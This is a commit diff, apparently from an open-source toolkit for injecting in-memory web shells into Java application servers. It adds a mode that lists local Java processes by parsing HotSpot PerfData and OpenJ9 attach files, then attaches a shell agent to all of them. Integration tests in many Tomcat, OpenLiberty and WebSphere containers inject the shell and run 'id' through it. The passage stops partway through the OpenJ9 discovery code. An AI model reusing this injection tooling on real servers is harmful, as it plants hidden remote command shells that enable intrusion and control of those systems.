feat: support agent attacher list java processes and attach all

gradle/libs.versions.toml

@@ -26,7 +26,7 @@ hamcrest = "3.0"
 junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
 junit-pioneer = "2.3.0"
 junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
-testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
+testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
 
 [libraries]
 byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

@@ -503,4 +503,52 @@ public class ShellAssertion {
                 containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
         ));
     }
+
+    @SneakyThrows
+    public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
+        String shellTool = ShellTool.Command;
+        Packers packer = Packers.AgentJarWithJREAttacher;
+        Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
+        String shellUrl = urls.getLeft();
+        String urlPattern = urls.getRight();
+
+        ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
+        MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
+                shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
+
+        // Pack and copy to container
+        byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
+        Path tempJar = Files.createTempFile("temp", "jar");
+        Files.write(tempJar, bytes);
+        String jarPath = "/listProcessTest.jar";
+        appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
+        FileUtils.deleteQuietly(tempJar.toFile());
+
+        // Test 1: List processes (no args)
+        Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
+        String listStdout = listResult.getStdout();
+        if (listStdout.contains("executable file not found")) {
+            listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
+            listStdout = listResult.getStdout();
+        }
+        log.info("list processes output:\n{}", listStdout);
+        System.out.println("list stderr: " + listResult.getStderr());
+        assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
+        assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
+
+        // Test 2: Attach all
+        Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
+        String attachStdout = attachResult.getStdout();
+        if (attachStdout.contains("executable file not found")) {
+            attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
+            attachStdout = attachResult.getStdout();
+        }
+        log.info("attach all output:\n{}", attachStdout);
+        System.out.println("attach all stderr: " + attachResult.getStderr());
+        assertThat("Attach all should complete with ok", attachStdout, containsString("ok"));
+
+        // Test 3: Verify shell injection was successful
+        String paramName = ((CommandConfig) shellToolConfig).getParamName();
+        commandIsOk(shellUrl, shellType, paramName, "id");
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java

@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java

@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java

@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java

@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
+import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -46,4 +48,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
+
+    @Test
+    void testListProcessAndAttachAll() {
+        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
+    }
 }

memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java

@@ -15,6 +15,7 @@
  */
 
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
 import java.net.URISyntaxException;
 import java.net.URL;
 import java.net.URLClassLoader;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
 import java.security.CodeSource;
 import java.security.PrivilegedAction;
 import java.security.ProtectionDomain;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Properties;
+import java.util.Set;
 
 /**
  * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -91,6 +97,41 @@ public class Attacher {
         install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
     }
 
+    /**
+     * <p>
+     * Lists all discoverable Java processes on the local host.
+     * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
+     * </p>
+     * <p>
+     * HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
+     * in the system temporary folder and parsing PerfData binary files to extract
+     * the main class name. OpenJ9 processes are discovered by scanning
+     * {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
+     * </p>
+     * <p>
+     * <b>Note</b>: Only processes accessible to the current user are listed.
+     * Stale entries from crashed JVMs may appear. Processes started with
+     * {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
+     * </p>
+     *
+     * @return A list of discovered Java process descriptors.
+     */
+    public static List<JavaProcessDescriptor> listJavaProcesses() {
+        List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
+        Set<String> seenPids = new HashSet<String>();
+        for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
+            if (seenPids.add(descriptor.getPid())) {
+                processes.add(descriptor);
+            }
+        }
+        for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
+            if (seenPids.add(descriptor.getPid())) {
+                processes.add(descriptor);
+            }
+        }
+        return processes;
+    }
+
     /**
      * Installs a Java agent on a target VM.
      *
@@ -928,4 +969,431 @@ public class Attacher {
             }
         }
     }
+
+    /**
+     * Represents a discovered Java process on the local host.
+     */
+    public static class JavaProcessDescriptor {
+
+        /**
+         * The process ID.
+         */
+        private final String pid;
+
+        /**
+         * The main class name or JAR path, may be empty if unknown.
+         */
+        private final String mainClass;
+
+        /**
+         * The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
+         */
+        private final String vmType;
+
+        /**
+         * Creates a new Java process descriptor.
+         *
+         * @param pid       The process ID.
+         * @param mainClass The main class name or JAR path, may be empty if unknown.
+         * @param vmType    The JVM type, e.g. "HotSpot" or "OpenJ9".
+         */
+        public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
+            this.pid = pid;
+            this.mainClass = mainClass;
+            this.vmType = vmType;
+        }
+
+        /**
+         * Returns the process ID.
+         *
+         * @return The process ID.
+         */
+        public String getPid() {
+            return pid;
+        }
+
+        /**
+         * Returns the main class name or JAR path. May be empty if unknown.
+         *
+         * @return The main class name.
+         */
+        public String getMainClass() {
+            return mainClass;
+        }
+
+        /**
+         * Returns the JVM type identifier.
+         *
+         * @return The JVM type, e.g. "HotSpot" or "OpenJ9".
+         */
+        public String getVmType() {
+            return vmType;
+        }
+
+        /**
+         * {@inheritDoc}
+         */
+        @Override
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append(pid);
+            if (mainClass.length() > 0) {
+                sb.append(' ').append(mainClass);
+            }
+            sb.append(" (").append(vmType).append(')');
+            return sb.toString();
+        }
+    }
+
+    /**
+     * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
+     * in the system temporary folder and parsing PerfData v2 binary files.
+     */
+    private static class HotSpotProcessDiscovery {
+
+        /**
+         * The PerfData magic number: {@code 0xcafec0c0}.
+         */
+        private static final int PERFDATA_MAGIC = 0xcafec0c0;
+
+        /**
+         * The directory name prefix for HotSpot PerfData user directories.
+         */
+        private static final String HSPERFDATA_PREFIX = "hsperfdata_";
+
+        /**
+         * The PerfData entry name for the Java command line.
+         */
+        private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
+
+        /**
+         * The data units value for STRING type entries.
+         */
+        private static final byte UNITS_STRING = 5;
+
+        /**
+         * Maximum PerfData file size to read (1 MB), as a safety bound.
+         */
+        private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
+
+        /**
+         * Minimum PerfData file size (v2 prologue is 32 bytes).
+         */
+        private static final int MIN_PERFDATA_SIZE = 32;
+
+        /**
+         * The size of a PerfData v2 entry header in bytes.
+         */
+        private static final int ENTRY_HEADER_SIZE = 20;
+
+        /**
+         * Discovers all HotSpot JVM processes visible to the current user.
+         *
+         * @return A list of discovered HotSpot Java process descriptors.
+         */
+        static List<JavaProcessDescriptor> discover() {
+            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
+            Set<String> seen = new HashSet<String>();
+            for (File tmpDir : getTempDirectories()) {
+                if (!tmpDir.isDirectory()) {
+                    continue;
+                }
+                File[] userDirs = tmpDir.listFiles();
+                if (userDirs == null) {
+                    continue;
+                }
+                for (File userDir : userDirs) {
+                    if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
+                        continue;
+                    }
+                    File[] pidFiles = userDir.listFiles();
+                    if (pidFiles == null) {
+                        continue;
+                    }
+                    for (File pidFile : pidFiles) {
+                        String fileName = pidFile.getName();
+                        if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
+                            continue;
+                        }
+                        if (!seen.add(fileName)) {
+                            continue;
+                        }
+                        String javaCommand = parsePerfData(pidFile);
+                        result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
+                    }
+                }
+            }
+            return result;
+        }
+
+        /**
+         * Returns the list of temporary directories to scan for HotSpot PerfData files.
+         * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
+         * and also {@code java.io.tmpdir} if it differs.
+         *
+         * @return A list of temporary directories.
+         */
+        private static List<File> getTempDirectories() {
+            List<File> dirs = new ArrayList<File>();
+            String osName = System.getProperty("os.name", "");
+            if (osName.startsWith("Windows")) {
+                dirs.add(new File(System.getProperty("java.io.tmpdir")));
+            } else {
+                dirs.add(new File("/tmp"));
+                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
+                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
+                    dirs.add(new File(javaIoTmpDir));
+                }
+            }
+            return dirs;
+        }
+
+        /**
+         * Parses a HotSpot PerfData v2 binary file to extract the value of
+         * {@code sun.rt.javaCommand}.
+         * <p>
+         * The PerfData v2 binary format consists of a 32-byte prologue followed
+         * by a sequence of variable-length entries. Each entry contains a name
+         * and a data value. This method iterates through entries looking for
+         * the {@code sun.rt.javaCommand} entry.
+         * </p>
+         *
+         * @param file The PerfData file to parse.
+         * @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
+         */
+        private static String parsePerfData(File file) {
+            FileInputStream fis = null;
+            try {
+                fis = new FileInputStream(file);
+                long fileLength = file.length();
+                if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
+                    return "";
+                }
+                byte[] data = new byte[(int) fileLength];
+                int totalRead = 0;
+                int bytesRead;
+                while (totalRead < data.length
+                        && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
+                    totalRead += bytesRead;
+                }
+                if (totalRead < MIN_PERFDATA_SIZE) {
+                    return "";
+                }
+
+                ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
+                // Magic number is always stored in big-endian
+                buffer.order(ByteOrder.BIG_ENDIAN);
+                int magic = buffer.getInt();             // offset 0
+                if (magic != PERFDATA_MAGIC) {
+                    return "";
+                }
+
+                byte byteOrder = buffer.get();           // offset 4
+                if (byteOrder == 1) {
+                    buffer.order(ByteOrder.LITTLE_ENDIAN);
+                }
+
+                byte majorVersion = buffer.get();        // offset 5
+                buffer.get();                            // offset 6: minor version
+                buffer.get();                            // offset 7: accessible / reserved
+
+                if (majorVersion < 2) {
+                    // Only PerfData v2 format is supported
+                    return "";
+                }
+
+                // v2 prologue fields
+                buffer.getInt();                         // offset 8: used
+                buffer.getInt();                         // offset 12: overflow
+                buffer.getLong();                        // offset 16: mod_time_stamp
+                int entryOffset = buffer.getInt();       // offset 24: entry_offset
+                int numEntries = buffer.getInt();        // offset 28: num_entries
+
+                // Iterate through PerfData entries
+                int pos = entryOffset;
+                for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
+                    buffer.position(pos);
+                    int entryLength = buffer.getInt();
+                    if (entryLength <= 0 || pos + entryLength > totalRead) {
+                        break;
+                    }
+
+                    int nameOffset = buffer.getInt();
+                    buffer.getInt();                     // vector_length
+                    buffer.get();                        // data_type
+                    buffer.get();                        // flags
+                    byte dataUnits = buffer.get();       // data_units
+                    buffer.get();                        // data_variability
+                    int dataOffset = buffer.getInt();
+
+                    // Read the entry name (null-terminated UTF-8 string)
+                    int nameStart = pos + nameOffset;
+                    if (nameStart < 0 || nameStart >= totalRead) {
+                        pos += entryLength;
+                        continue;
+                    }
+                    int nameEnd = nameStart;
+                    while (nameEnd < totalRead && data[nameEnd] != 0) {
+                        nameEnd++;
+                    }
+                    String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
+
+                    if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
+                        // Read the string value
+                        int dataStart = pos + dataOffset;
+                        if (dataStart < 0 || dataStart >= totalRead) {
+                            return "";
+                        }
+                        int dataEnd = dataStart;
+                        while (dataEnd < totalRead && data[dataEnd] != 0) {
+                            dataEnd++;
+                        }
+                        return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
+                    }
+
+                    pos += entryLength;
+                }
+
+                return "";
+            } catch (Exception ignored) {
+                return "";
+            } finally {
+                if (fis != null) {
+                    try {
+                        fis.close();
+                    } catch (IOException ignored) {
+                        /* do nothing */
+                    }
+                }
+            }
+        }
+
+        /**
+         * Checks if a string consists entirely of digit characters.
+         *
+         * @param str The string to check.
+         * @return {@code true} if the string is non-empty and contains only digits.
+         */
+        private static boolean isNumeric(String str) {
+            if (str == null || str.isEmpty()) {
+                return false;
+            }
+            for (int i = 0; i < str.length(); i++) {
+                if (str.charAt(i) < '0' || str.charAt(i) > '9') {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        /**
+         * Extracts the main class name from a {@code sun.rt.javaCommand} value.
+         * The value format is typically {@code "mainClass arg1 arg2 ..."} or
+         * {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
+         * first space-delimited token.
+         *
+         * @param javaCommand The full Java command string.
+         * @return The main class or JAR name, or empty string if input is empty.
+         */
+        private static String extractMainClass(String javaCommand) {
+            if (javaCommand == null || javaCommand.isEmpty()) {
+                return "";
+            }
+            int spaceIndex = javaCommand.indexOf(' ');
+            return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
+        }
+    }
+
+    /**
+     * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
+     * and reading {@code attachInfo} property files.
+     */
+    private static class OpenJ9ProcessDiscovery {
+
+        /**
+         * The directory name used by OpenJ9 for attach API information.
+         */
+        private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
+
+        /**
+         * The file name containing process attach information within each VM directory.
+         */
+        private static final String ATTACH_INFO_FILE = "attachInfo";
+
+        /**
+         * Discovers all OpenJ9 JVM processes visible to the current user.
+         *
+         * @return A list of discovered OpenJ9 Java process descriptors.
+         */
+        static List<JavaProcessDescriptor> discover() {
